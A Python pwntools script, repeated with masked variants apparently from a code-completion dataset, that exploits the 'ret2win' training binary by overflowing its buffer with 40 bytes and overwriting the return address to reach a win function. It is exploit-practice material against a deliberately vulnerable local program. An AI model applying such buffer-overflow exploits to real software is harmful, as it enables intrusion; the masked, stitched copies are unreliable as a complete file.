#!/usr/bin/env python3
# 
 
from pwn import *




def sendpayload(payload):
    output =""
    prog = process("./ret2win", stdin=PIPE, stdout=PIPE)
    output = output+(prog.readuntil(">").decode())
    prog.writeline(payload)
    try:
        while 1:
            output = output +(prog.readline().decode())
    except EOFError:
        print("[X] Fin du process")
        return 0, output
    except TypeError:
        print("[X] Fin du process")
        return 1,output
    except Exception as e: 
        print("Exception: ")
        print(type(e))
        return 2, output
    return 0,output



payload = b'A' * 40
payload += p64(0x00400758)
ret, output = sendpayload(payload)
print(output)


#payload += p64(0x00400758)
#payload += b'B' *4

#open('payload', 'w').write(payload.decode())
3d064bac25b558e12511a4297a81729eb37e1271
<mask token>


def sendpayload(payload):
    output = ''
    prog = process('./ret2win', stdin=PIPE, stdout=PIPE)
    output = output + prog.readuntil('>').decode()
    prog.writeline(payload)
    try:
        while 1:
            output = output + prog.readline().decode()
    except EOFError:
        print('[X] Fin du process')
        return 0, output
    except TypeError:
        print('[X] Fin du process')
        return 1, output
    except Exception as e:
        print('Exception: ')
        print(type(e))
        return 2, output
    return 0, output


<mask token>

<mask token>


def sendpayload(payload):
    output = ''
    prog = process('./ret2win', stdin=PIPE, stdout=PIPE)
    output = output + prog.readuntil('>').decode()
    prog.writeline(payload)
    try:
        while 1:
            output = output + prog.readline().decode()
    except EOFError:
        print('[X] Fin du process')
        return 0, output
    except TypeError:
        print('[X] Fin du process')
        return 1, output
    except Exception as e:
        print('Exception: ')
        print(type(e))
        return 2, output
    return 0, output


<mask token>
payload += p64(4196184)
<mask token>
print(output)

<mask token>


def sendpayload(payload):
    output = ''
    prog = process('./ret2win', stdin=PIPE, stdout=PIPE)
    output = output + prog.readuntil('>').decode()
    prog.writeline(payload)
    try:
        while 1:
            output = output + prog.readline().decode()
    except EOFError:
        print('[X] Fin du process')
        return 0, output
    except TypeError:
        print('[X] Fin du process')
        return 1, output
    except Exception as e:
        print('Exception: ')
        print(type(e))
        return 2, output
    return 0, output


payload = b'A' * 40
payload += p64(4196184)
ret, output = sendpayload(payload)
print(output)

from pwn import *


def sendpayload(payload):
    output = ''
    prog = process('./ret2win', stdin=PIPE, stdout=PIPE)
    output = output + prog.readuntil('>').decode()
    prog.writeline(payload)
    try:
        while 1:
            output = output + prog.readline().decode()
    except EOFError:
        print('[X] Fin du process')
        return 0, output
    except TypeError:
        print('[X] Fin du process')
        return 1, output
    except Exception as e:
        print('Exception: ')
        print(type(e))
        return 2, output
    return 0, output


payload = b'A' * 40
payload += p64(4196184)
ret, output = sendpayload(payload)
print(output)

#!/usr/bin/env python3
# 
 
from pwn import *




def sendpayload(payload):
    output =""
    prog = process("./ret2win", stdin=PIPE, stdout=PIPE)
    output = output+(prog.readuntil(">").decode())
    prog.writeline(payload)
    try:
        while 1:
            output = output +(prog.readline().decode())
    except EOFError:
        print("[X] Fin du process")
        return 0, output
    except TypeError:
        print("[X] Fin du process")
        return 1,output
    except Exception as e: 
        print("Exception: ")
        print(type(e))
        return 2, output
    return 0,output



payload = b'A' * 40
payload += p64(0x00400758)
ret, output = sendpayload(payload)
print(output)


#payload += p64(0x00400758)
#payload += b'B' *4

#open('payload', 'w').write(payload.decode())